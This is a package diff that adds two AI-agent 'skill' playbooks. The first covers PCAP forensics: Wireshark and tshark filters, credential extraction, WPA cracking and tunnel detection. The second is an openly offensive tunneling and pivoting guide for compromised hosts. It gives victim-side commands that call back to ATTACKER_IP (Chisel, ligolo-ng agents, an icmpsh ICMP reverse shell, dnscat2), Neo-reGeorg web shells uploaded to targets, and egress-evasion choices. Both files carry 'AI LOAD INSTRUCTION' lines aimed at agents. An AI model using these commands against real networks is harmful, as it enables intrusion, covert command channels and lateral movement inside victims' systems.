ineedcodes 1.6.1 → 1.7.0

package/skills/traffic-analysis-pcap/SKILL.md

@@ -0,0 +1,341 @@
+---
+name: traffic-analysis-pcap
+description: >-
+  Traffic analysis and PCAP forensics playbook. Use when analyzing network captures including Wireshark filters, protocol analysis (HTTP/DNS/FTP/SMTP/USB/WiFi), data extraction, covert channel detection, PCAP repair, TLS decryption, and tshark command-line analysis.gated: true
+---
+
+# SKILL: Traffic Analysis & PCAP — Expert Analysis Playbook
+
+> **AI LOAD INSTRUCTION**: Expert traffic analysis and PCAP forensics techniques. Covers PCAP repair, Wireshark essential filters, protocol-specific analysis (HTTP, HTTPS/TLS, DNS, FTP, SMTP, USB HID, WiFi, ICMP), data extraction (file carving, credential harvesting, covert channels), NetworkMiner, and tshark CLI analysis. Base models miss USB keyboard decode patterns, DNS tunneling detection heuristics, and TLS decryption workflows.
+
+## 0. RELATED ROUTING
+
+Before going deep, consider loading:
+
+- [memory-forensics-volatility](../memory-forensics-volatility/SKILL.md) for correlating memory artifacts with network traffic
+- [steganography-techniques](../steganography-techniques/SKILL.md) for analyzing files extracted from traffic captures
+- [network-protocol-attacks](../network-protocol-attacks/SKILL.md) for understanding attack patterns visible in captures
+- [reverse-shell-techniques](../reverse-shell-techniques/SKILL.md) for identifying shell traffic in captures
+
+---
+
+## 1. PCAP REPAIR
+
+```bash
+pcapfix corrupted.pcap -o fixed.pcap           # repair corrupted PCAP
+# Magic bytes: d4c3b2a1=pcap(LE), a1b2c3d4=pcap(BE), 0a0d0d0a=pcapng
+editcap -F pcap capture.pcapng capture.pcap    # convert pcapng→pcap
+mergecap -w merged.pcap file1.pcap file2.pcap  # merge captures
+```
+
+---
+
+## 2. WIRESHARK ESSENTIAL FILTERS
+
+### IP / Host Filters
+
+```
+ip.addr == 10.0.0.1                  # source or destination
+ip.src == 10.0.0.1                   # source only
+ip.dst == 10.0.0.1                   # destination only
+ip.addr == 10.0.0.0/24              # subnet
+!(ip.addr == 10.0.0.1)              # exclude host
+```
+
+### Protocol Filters
+
+```
+http                                  # all HTTP
+dns                                   # all DNS
+tcp                                   # all TCP
+ftp                                   # all FTP
+smtp                                  # all SMTP
+tls                                   # all TLS/SSL
+icmp                                  # all ICMP
+arp                                   # all ARP
+```
+
+### TCP / Stream
+
+```
+tcp.stream eq 5                       # follow specific TCP stream
+tcp.port == 80                        # traffic on port 80
+tcp.flags.syn == 1 && tcp.flags.ack == 0   # SYN packets (connection starts)
+tcp.analysis.retransmission           # retransmitted packets
+tcp.len > 0                           # packets with payload
+```
+
+### HTTP
+
+```
+http.request.method == "POST"         # POST requests
+http.request.method == "GET"          # GET requests
+http.response.code == 200             # successful responses
+http.response.code >= 400             # error responses
+http.request.uri contains "login"     # URI contains string
+http.host contains "target.com"       # specific host
+http.content_type contains "json"     # JSON responses
+http.cookie contains "session"        # session cookies
+http.request.full_uri                 # show full URIs (column)
+```
+
+### DNS
+
+```
+dns.qry.name contains "evil.com"     # specific domain queries
+dns.qry.type == 1                    # A records
+dns.qry.type == 28                   # AAAA records
+dns.qry.type == 16                   # TXT records
+dns.flags.response == 1              # DNS responses only
+dns.resp.len > 100                   # large DNS responses
+```
+
+### TLS
+
+```
+tls.handshake.type == 1              # Client Hello
+tls.handshake.type == 2              # Server Hello
+tls.handshake.extensions.server_name  # SNI (hostname)
+tls.handshake.type == 11             # Certificate
+```
+
+### Content Search
+
+```
+frame contains "password"             # search in raw bytes
+frame contains "flag{"                # CTF flag pattern
+tcp contains "admin"                  # search in TCP payload
+```
+
+---
+
+## 3. PROTOCOL ANALYSIS
+
+### HTTP — Follow Stream & Extract
+
+```
+Right-click packet → Follow → TCP Stream
+# Shows full HTTP request/response conversation
+
+# File extraction:
+# File → Export Objects → HTTP → Save All
+
+# Useful filters for credential hunting:
+http.request.method == "POST" && frame contains "password"
+http.request.method == "POST" && frame contains "login"
+http.authbasic                        # Basic auth (base64 encoded)
+```
+
+### HTTPS / TLS Decryption
+
+```bash
+# Method 1: SSLKEYLOGFILE (pre-master secrets from browser)
+# Set environment variable BEFORE opening browser:
+export SSLKEYLOGFILE=/tmp/sslkeys.log
+firefox https://target.com
+
+# Wireshark: Edit → Preferences → Protocols → TLS
+# → (Pre)-Master-Secret log filename: /tmp/sslkeys.log
+
+# Method 2: Server private key (for RSA key exchange only)
+# Wireshark: Edit → Preferences → Protocols → TLS → RSA keys list
+# → Add: IP, Port, Protocol, Key file (.pem)
+```
+
+### DNS — Tunneling Detection
+
+```bash
+# Indicators of DNS tunneling:
+# 1. Unusually long subdomain names (>30 chars)
+# 2. High volume of TXT record queries/responses
+# 3. Consistent query patterns to same domain
+# 4. Base32/Base64-like subdomain strings
+# 5. High query frequency from single host
+
+# Wireshark filter for suspicious DNS:
+dns.qry.name.len > 50                # long query names
+dns.qry.type == 16                   # TXT records (common for tunneling)
+dns.resp.len > 512                   # large DNS responses
+
+# tshark extraction:
+tshark -r capture.pcap -Y "dns.qry.type==16" -T fields -e dns.qry.name
+```
+
+### FTP — Credential & File Extraction
+
+```bash
+# FTP credentials (plaintext)
+# Filter: ftp.request.command == "USER" || ftp.request.command == "PASS"
+
+# FTP file transfer reconstruction:
+# FTP uses separate data channel (usually port 20 or dynamic)
+# Follow TCP stream of data connection to extract file
+
+# tshark:
+tshark -r capture.pcap -Y "ftp.request.command==USER || ftp.request.command==PASS" -T fields -e ftp.request.arg
+```
+
+### SMTP — Email Content Extraction
+
+```bash
+# Follow TCP stream → MAIL FROM/RCPT TO/DATA sections
+# Attachments: base64 in MIME → decode Content-Transfer-Encoding blocks
+# Filters:
+smtp.req.command == "AUTH"            # authentication (often base64)
+smtp contains "Content-Disposition: attachment"   # attachments
+```
+
+### USB — Keyboard HID Capture Decode
+
+```bash
+# USB HID keyboard traffic: interrupt transfers with 8-byte data
+# Filter: usb.transfer_type == 0x01
+
+# Extract keystrokes:
+tshark -r usb.pcap -Y "usb.capdata && usb.data_len == 8" -T fields -e usb.capdata > keystrokes.txt
+
+# HID keycode layout: byte[0]=modifier, byte[2]=keycode
+# 0x04=a..0x1d=z, 0x1e=1..0x27=0, 0x28=Enter, 0x2c=Space
+# Use Python/online HID decoder to convert keycodes → text
+```
+
+### WiFi — WPA Handshake
+
+```bash
+# Capture: airodump-ng --bssid AP_MAC -w capture wlan0mon
+# Convert + crack: hcxpcapngtool -o hash.hc22000 capture.pcap
+hashcat -m 22000 hash.hc22000 wordlist.txt
+# Deauth detection: wlan.fc.type_subtype == 0x0c
+```
+
+### ICMP — Data Exfiltration
+
+```bash
+# ICMP payload analysis
+# Normal ping: 32 or 64 bytes of pattern data
+# Exfiltration: meaningful data in ICMP payload
+
+# Filter:
+icmp && data.len > 48                 # unusual ICMP payload size
+icmp.type == 8                        # echo requests
+
+# Extract ICMP payloads:
+tshark -r capture.pcap -Y "icmp.type==8" -T fields -e data.data
+```
+
+---
+
+## 4. DATA EXTRACTION
+
+### File Carving
+
+```bash
+# Wireshark: File → Export Objects
+# Supported: HTTP, SMB, TFTP, IMF (email), DICOM
+
+# Manual from reassembled stream:
+# Follow TCP Stream → Show as Raw → Save As
+
+# binwalk on exported stream data
+binwalk -e exported_stream.bin
+foremost -i exported_stream.bin -o carved/
+```
+
+### Credential Harvesting
+
+```bash
+# Plaintext: ftp || telnet || http.authbasic || smtp || pop || imap
+# NTLM: ntlmssp.auth.username → extract challenge/response from NTLMSSP messages
+# Hash format: user::domain:challenge:NTProofStr:blob → hashcat -m 5600
+```
+
+### Covert Channel Detection
+
+Indicators: DNS with long subdomains, ICMP with large payloads, HTTP with encoded headers, regular beacon intervals (C2). Use `tshark -q -z io,stat,1` and `-z conv,tcp` for statistical anomaly detection.
+
+---
+
+## 5. NETWORKMINER
+
+```bash
+# Automated PCAP analysis: sudo apt install networkminer
+# Open PCAP → auto-extracts: Files, Images, Credentials, Sessions, DNS
+# Files tab: carved from HTTP/SMB/FTP | Credentials tab: plaintext creds
+```
+
+---
+
+## 6. TSHARK COMMAND-LINE ANALYSIS
+
+```bash
+tshark -r capture.pcap -Y "http.request" -T fields -e http.host -e http.request.uri
+tshark -r capture.pcap -Y "dns.flags.response==0" -T fields -e dns.qry.name | sort -u
+tshark -r capture.pcap -Y "http.request.method==POST" -T fields -e http.file_data
+tshark -r capture.pcap -q -z io,stat,1                # I/O graph
+tshark -r capture.pcap -q -z conv,tcp                  # TCP conversations
+tshark -r capture.pcap -q -z endpoints,ip              # IP endpoints
+tshark -r capture.pcap -q -z io,phs                    # protocol hierarchy
+tshark -r capture.pcap -q -z follow,tcp,ascii,0        # follow stream 0
+tshark -r capture.pcap --export-objects http,/tmp/exported/
+```
+
+---
+
+## 7. DECISION TREE
+
+```
+PCAP file for analysis
+│
+├── File won't open?
+│   ├── Check magic bytes: xxd | head (§1)
+│   ├── Repair: pcapfix (§1)
+│   └── Convert: editcap pcapng→pcap (§1)
+│
+├── What's in the capture? (Quick overview)
+│   ├── tshark -q -z io,phs (protocol hierarchy) (§6)
+│   ├── tshark -q -z conv,tcp (conversations) (§6)
+│   └── tshark -q -z endpoints,ip (endpoints) (§6)
+│
+├── HTTP traffic?
+│   ├── Export objects: File → Export Objects → HTTP (§4)
+│   ├── Credential hunt: POST + password/login filters (§3)
+│   ├── Follow streams: interesting request/response pairs (§3)
+│   └── Encrypted (HTTPS)? → need SSLKEYLOGFILE or RSA key (§3)
+│
+├── DNS traffic?
+│   ├── Long subdomains? → DNS tunneling (§3)
+│   ├── High TXT record volume? → DNS exfiltration (§3)
+│   ├── Extract all queries: tshark -Y dns -T fields -e dns.qry.name (§6)
+│   └── DNS rebinding? → check for alternating A record responses
+│
+├── FTP / Telnet / SMTP?
+│   ├── Extract credentials (plaintext) (§3)
+│   ├── Reconstruct file transfers (follow data stream) (§3)
+│   └── Email content and attachments (base64 decode) (§3)
+│
+├── USB traffic?
+│   ├── Keyboard HID → decode keystrokes (§3)
+│   ├── Storage → extract transferred files
+│   └── Check transfer_type and data_len fields
+│
+├── WiFi traffic?
+│   ├── WPA handshake → crack with hashcat (§3)
+│   ├── Deauth frames → detect attack (§3)
+│   └── Probe requests → device fingerprinting
+│
+├── ICMP traffic?
+│   ├── Large/variable payloads → data exfiltration (§3)
+│   ├── Regular pattern → ICMP tunnel (§3)
+│   └── Extract payloads: tshark -Y icmp -T fields -e data.data
+│
+├── Suspicious patterns?
+│   ├── Regular beacon interval → C2 communication (§4)
+│   ├── Unusual port/protocol combos → covert channel (§4)
+│   ├── High volume to single external IP → data exfil (§4)
+│   └── Encrypted traffic without SNI → suspicious tunnel
+│
+└── Need automated extraction?
+    ├── NetworkMiner for files/creds/images (§5)
+    ├── tshark --export-objects for HTTP/SMB files (§6)
+    └── binwalk/foremost on exported streams (§4)
+```

package/skills/tunneling-and-pivoting/SKILL.md

@@ -0,0 +1,343 @@
+---
+name: tunneling-and-pivoting
+description: >-
+  Tunneling and pivoting playbook. Use when establishing network tunnels through compromised hosts including SSH tunneling, Chisel, Ligolo-ng, socat, DNS/ICMP/HTTP tunneling, ProxyChains, and multi-layer pivoting strategies.gated: true
+---
+
+# SKILL: Tunneling & Pivoting — Expert Attack Playbook
+
+> **AI LOAD INSTRUCTION**: Expert tunneling and pivoting techniques. Covers SSH port forwarding (local/remote/dynamic/jump), Chisel reverse SOCKS, Ligolo-ng transparent TUN pivoting, socat relays, DNS/ICMP/HTTP tunneling, ProxyChains configuration, Windows pivoting (netsh/plink), and multi-layer chaining. Base models miss egress-aware tool selection and transparent routing setup.
+
+## 0. RELATED ROUTING
+
+Before going deep, consider loading:
+
+- [network-protocol-attacks](../network-protocol-attacks/SKILL.md) for network-level attacks from pivot positions
+- [reverse-shell-techniques](../reverse-shell-techniques/SKILL.md) for establishing initial access shells
+- [unauthorized-access-common-services](../unauthorized-access-common-services/SKILL.md) for exploiting services discovered through pivots
+- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) or [windows-privilege-escalation](../windows-privilege-escalation/SKILL.md) after pivoting to new hosts
+
+---
+
+## 1. SSH TUNNELING
+
+### Local Port Forward
+
+Forward a local port to a remote service through the pivot.
+
+```bash
+# Access INTERNAL_HOST:3306 via localhost:3306
+ssh -L 3306:INTERNAL_HOST:3306 user@PIVOT -N
+
+# Access internal web app
+ssh -L 8080:10.10.10.100:80 user@PIVOT -N
+# Browse: http://localhost:8080
+
+# Bind to all interfaces (share with teammates)
+ssh -L 0.0.0.0:8080:INTERNAL:80 user@PIVOT -N
+```
+
+### Remote Port Forward
+
+Expose a local service to the pivot host's network.
+
+```bash
+# Make attacker's port 8000 accessible on pivot as pivot:9000
+ssh -R 9000:127.0.0.1:8000 user@PIVOT -N
+
+# Expose attacker's listener to internal network
+ssh -R 0.0.0.0:4444:127.0.0.1:4444 user@PIVOT -N
+# Internal hosts connect to PIVOT:4444 → reaches attacker:4444
+```
+
+### Dynamic Port Forward (SOCKS Proxy)
+
+```bash
+# Create SOCKS4/5 proxy on localhost:1080
+ssh -D 1080 user@PIVOT -N
+
+# Use with proxychains
+echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
+proxychains nmap -sT -Pn -p 80,443,445 INTERNAL_SUBNET/24
+
+# Or with browser SOCKS proxy → browse internal web apps
+```
+
+### Jump Host (ProxyJump)
+
+```bash
+# Single jump
+ssh -J jumphost user@TARGET
+
+# Multiple jumps
+ssh -J jump1,jump2 user@TARGET
+
+# SSH config for persistent jump
+# ~/.ssh/config
+Host internal-target
+    HostName 10.10.10.100
+    User admin
+    ProxyJump user@jumphost.example.com
+```
+
+---
+
+## 2. CHISEL
+
+### Reverse SOCKS Proxy (Most Common)
+
+```bash
+# Attacker: start chisel server
+chisel server --reverse --port 8080
+
+# Victim: connect back as client, create reverse SOCKS
+chisel client ATTACKER_IP:8080 R:socks
+
+# Result: SOCKS5 proxy on attacker's 127.0.0.1:1080
+proxychains nmap -sT -Pn INTERNAL/24
+```
+
+### Port Forwarding
+
+```bash
+# Forward specific port
+chisel client ATTACKER:8080 R:3306:INTERNAL_DB:3306
+
+# Multiple forwards
+chisel client ATTACKER:8080 R:3306:DB:3306 R:8080:WEB:80
+
+# Reverse port forward (expose attacker service to victim network)
+chisel client ATTACKER:8080 R:0.0.0.0:4444:127.0.0.1:4444
+```
+
+---
+
+## 3. LIGOLO-NG
+
+TUN interface-based pivoting — transparent routing without SOCKS.
+
+```bash
+# Attacker: start proxy
+sudo ip tuntap add user $(whoami) mode tun ligolo
+sudo ip link set ligolo up
+ligolo-proxy -selfcert -laddr 0.0.0.0:11601
+
+# Agent (victim): connect to proxy
+ligolo-agent -connect ATTACKER_IP:11601 -ignore-cert
+
+# In ligolo-proxy console:
+>> session                    # select agent session
+>> ifconfig                   # view agent's network interfaces
+>> start                      # start tunnel
+
+# Add routes on attacker to reach internal networks
+sudo ip route add 10.10.10.0/24 dev ligolo
+sudo ip route add 172.16.0.0/16 dev ligolo
+```
+
+### Listener (Reverse Shell Catcher Through Pivot)
+
+```bash
+# In ligolo-proxy console:
+>> listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
+# Internal hosts connecting to AGENT:4444 → forwarded to attacker:4444
+```
+
+### Double Pivot
+
+```bash
+# Agent 1 on DMZ → tunnel to internal network 1
+# Agent 2 on internal network 1 → tunnel to internal network 2
+# Add routes for both networks on attacker
+sudo ip route add 10.0.0.0/24 dev ligolo    # via agent 1
+sudo ip route add 172.16.0.0/24 dev ligolo  # via agent 2
+```
+
+---
+
+## 4. SOCAT
+
+```bash
+# TCP port forward
+socat TCP-LISTEN:8080,fork TCP:INTERNAL:80
+
+# UDP relay
+socat UDP-LISTEN:53,fork UDP:INTERNAL_DNS:53
+
+# Encrypted tunnel
+socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork TCP:INTERNAL:80
+
+# File transfer via socat
+# Receiver:
+socat TCP-LISTEN:9999,fork file:received_file,create
+# Sender:
+socat TCP:RECEIVER:9999 file:send_file
+```
+
+---
+
+## 5. PROXYCHAINS / PROXIFIER
+
+### ProxyChains Configuration
+
+```ini
+# /etc/proxychains4.conf
+strict_chain          # fail if any proxy is down
+# dynamic_chain       # skip dead proxies
+# random_chain        # randomize proxy order
+
+[ProxyList]
+socks5 127.0.0.1 1080        # first hop (SSH dynamic forward)
+socks5 127.0.0.1 1081        # second hop (if chaining)
+```
+
+```bash
+# Usage
+proxychains nmap -sT -Pn -p 22,80,445 10.10.10.0/24
+proxychains crackmapexec smb 10.10.10.0/24
+proxychains evil-winrm -i 10.10.10.50 -u admin -p pass
+```
+
+---
+
+## 6. WINDOWS PIVOTING
+
+### Netsh Port Forwarding
+
+```cmd
+:: Forward port (requires admin)
+netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=INTERNAL_IP
+
+:: List forwards
+netsh interface portproxy show all
+
+:: Remove
+netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0
+```
+
+### Plink (PuTTY CLI)
+
+```cmd
+:: Dynamic SOCKS (like ssh -D)
+plink.exe -ssh -D 1080 -N user@ATTACKER
+
+:: Remote port forward
+plink.exe -ssh -R 4444:127.0.0.1:4444 user@ATTACKER
+
+:: Automated (non-interactive, accept host key)
+echo y | plink.exe -ssh -l user -pw password -R 9050:127.0.0.1:9050 ATTACKER
+```
+
+---
+
+## 7. DNS TUNNELING
+
+```bash
+# iodine — IP-over-DNS
+# Server (attacker, with NS record pointing to attacker):
+iodined -f -c -P password 10.0.0.1 t1.yourdomain.com
+
+# Client (victim):
+iodine -f -P password t1.yourdomain.com
+# Creates dns0 interface → route traffic through it
+
+# dnscat2 — command channel over DNS
+# Server:
+ruby dnscat2.rb yourdomain.com
+# Client:
+./dnscat --dns=server=ATTACKER,port=53 --secret=SHARED_SECRET
+```
+
+---
+
+## 8. ICMP TUNNELING
+
+```bash
+# icmpsh — ICMP reverse shell (no raw socket on victim needed for Windows)
+# Attacker:
+sysctl -w net.ipv4.icmp_echo_ignore_all=1
+python3 icmpsh_m.py ATTACKER_IP VICTIM_IP
+
+# Victim (Windows):
+icmpsh.exe -t ATTACKER_IP
+
+# ptunnel-ng — TCP-over-ICMP
+# Server:
+ptunnel-ng -r INTERNAL_HOST -R 22
+# Client:
+ptunnel-ng -p PIVOT_IP -l 2222 -r INTERNAL_HOST -R 22
+ssh -p 2222 user@127.0.0.1
+```
+
+---
+
+## 9. HTTP TUNNELING
+
+```bash
+# Neo-reGeorg — SOCKS proxy via web shell
+# Generate tunnel web shell:
+python3 neoreg.py generate -k PASSWORD
+
+# Upload tunnel.php/aspx/jsp to target web server
+
+# Connect:
+python3 neoreg.py -k PASSWORD -u http://TARGET/tunnel.php
+# SOCKS proxy on 127.0.0.1:1080
+
+# Tunna — HTTP tunnel (alternative)
+python2 proxy.py -u http://TARGET/conn.php -l 4444 -r 3389 -a INTERNAL_IP
+```
+
+---
+
+## 10. PIVOTING DECISION MATRIX
+
+| Egress Allowed | Tool | Notes |
+|---|---|---|
+| TCP outbound (any port) | Chisel, Ligolo-ng, SSH | Fastest setup |
+| TCP 80/443 only | Chisel (HTTP/S), Neo-reGeorg | Blend with web traffic |
+| DNS only (53/udp) | iodine, dnscat2 | Slow but stealthy |
+| ICMP only | ptunnel-ng, icmpsh | Very restricted environments |
+| No outbound | Bind shell + port forward in | Needs inbound access to pivot |
+| Web shell only | Neo-reGeorg, Tunna | When only HTTP file upload works |
+
+---
+
+## 11. DECISION TREE
+
+```
+Compromised host — need to reach internal network
+│
+├── Can install tools on pivot?
+│   ├── YES + outbound TCP allowed?
+│   │   ├── Need transparent routing? → Ligolo-ng (§3)
+│   │   ├── Need SOCKS proxy? → Chisel reverse SOCKS (§2)
+│   │   └── SSH available? → SSH dynamic forward (§1)
+│   │
+│   ├── YES + only HTTP(S) outbound?
+│   │   ├── Chisel over HTTPS (§2)
+│   │   └── Upload web tunnel → Neo-reGeorg (§9)
+│   │
+│   ├── YES + only DNS outbound?
+│   │   └── iodine or dnscat2 (§7)
+│   │
+│   └── YES + only ICMP allowed?
+│       └── ptunnel-ng or icmpsh (§8)
+│
+├── Cannot install tools (web shell only)?
+│   └── Neo-reGeorg / Tunna via web shell (§9)
+│
+├── Windows pivot?
+│   ├── Admin access? → netsh portproxy (§6)
+│   ├── SSH client available? → ssh.exe (Windows 10+) (§1)
+│   └── Outbound SSH? → plink (§6)
+│
+├── Need multi-layer pivot?
+│   ├── Ligolo-ng: multiple agents + route stacking (§3)
+│   ├── SSH ProxyJump chaining (§1)
+│   └── ProxyChains with multiple SOCKS (§5)
+│
+└── Teammate needs access too?
+    ├── Bind SOCKS on 0.0.0.0 (ssh -L 0.0.0.0:...)
+    └── Share Ligolo-ng routes via common proxy
+```